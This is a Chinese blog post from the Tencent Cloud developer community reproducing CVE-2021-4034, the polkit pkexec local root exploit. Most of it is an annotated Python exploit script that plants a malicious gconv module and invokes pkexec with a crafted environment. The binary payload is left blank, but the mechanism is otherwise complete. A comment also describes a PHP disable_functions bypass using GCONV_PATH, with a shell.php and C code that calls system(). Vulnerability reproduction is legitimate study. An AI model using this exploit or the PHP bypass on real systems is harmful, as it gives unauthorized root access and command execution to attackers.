前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >cve-2021-4034复现

cve-2021-4034复现

原创
作者头像
c2k2o6
发布2022-01-27 22:58:29
1.7K0
发布2022-01-27 22:58:29
举报
文章被收录于专栏:c2k2o6
  • cve-2021-4034复现
    • 影响范围
    • exp 打码
    • 复现
    • 参考

cve-2021-4034复现

Linux Polkit 本地提权漏洞

cvss评分 7.8 高危

polkit的pkexec 存在本地权限提升漏洞 已获得普通权限的攻击者可以通过此漏洞提权至root权限

polkit 常见的linux发行版 都有 polkit模块 deepin开发的 dde-polkit-agent 遵守 freedesktop规范

polkit是linux系统中一个身份认证管理工具 用法 pkexec /usr/bin/ls pkexec 二进制可执行文件

影响范围

因为polkit是系统自带的工具 主流linux版本均受影响

exp 打码

代码语言:javascript
复制
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """"""
    )
)
libc = CDLL(find_library("c"))
# ctypes提供了两个LibraryLoader:CDLL和WinDLL
# CDLL支持__cdecl,WinDLL支持__stdcall(仅限Windows)

libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
# tempfile 模块 生成临时文件和临时目录 
# tempfile 模块还提供了 tempfile.mkstemp() 和 tempfile.mkdtemp() 两个低级别的函数
# 高级别的函数支持自动清理,可以与 with 语句一起使用,低级别函数则不支持,一般推荐使用高级别的函数来创建临时文件和临时目录


open(wd + "/pwn.so", "wb").write(payload)
# 将payload写入 pwn.so中

os.mkdir(wd + "/gconv/")
# 创建目录
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
# 写入
os.mkdir(wd + "/GCONV_PATH=.")
# 创建目录


'''
关于GCONV_PATH的相关知识
php在执行iconv函数时,实际上调用glibc中的iconv相关函数,其中有个函数叫 iconv_open(),
GCONV_PATH 是 linux系统的一个环境变量,这个环境变量可以让 glibc使用用户自己定义的 gconv-modules 文件
module 自定义字符集名字大写// INTERNAL ../../../../tmp/自定义字符集名字小写 2

过程
1. 设定GCONV_PATH 指向 gconv-modules 文件
2. 执行php的iconv函数 ,本质是调用 glibc的 iconv_open 函数
3. iconv_open 函数 依照 GCONV_PATH 找到 gconv-modules 文件
4. 根据 gconv-modules 文件 指示找到 参数对应的so文件
5. 调用so文件中的 gconv() gonv_init() 其中是我们想要执行的命令


#include <stdio.h>
#include <stdlib.h>
void gconv(){}
void gconv_init(){
    system("id");
}

gcc 1.c -o 自定义字符集名.so -shared -fPIC

shell.php
<?php
    putenv("GCONV_PATH=/tmp/");
    iconv("自定义字符集名","UTF-8","whatever");
?>



bypass disable_function

https://blog.csdn.net/qq_42303523/article/details/117911859


'''


os.mknod(wd + "/GCONV_PATH=./gconv")
# 创建特殊文件
'''
mknod name {b|c} major minor

mknod name {p}
创建FIFO 已命名的管道

mknod dev/null c 1 3
mknod dev/zero c 1 5
mknod dev/random c 1 8



b 表示特殊文件是面向块的设备 磁盘 软盘 磁带
c 表示特殊文件是面向字符的设备 其他设备
p 创建 FIFO 已命名的管道






'''

os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
# 修改权限

os.chdir(wd)
# 改变目录

cmd = b"/usr/bin/pkexec"

# └─$ pkexec --version                                                                       127 ⨯
# pkexec version 0.105

# └─$ pkexec                                                                                 127 ⨯
# pkexec --version |
#        --help |
#        --disable-internal-agent |
#        [--user username] PROGRAM [ARGUMENTS...]

# See the pkexec manual page for more details.


argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
# 执行

复现

参考

https://nosec.org/home/detail/4959.html https://blog.csdn.net/qq_38402294/article/details/121388917 https://www.freedesktop.org/software/polkit/docs/latest/pkexec.1.html

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • cve-2021-4034复现
    • 影响范围
      • exp 打码
        • 复现
          • 参考
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档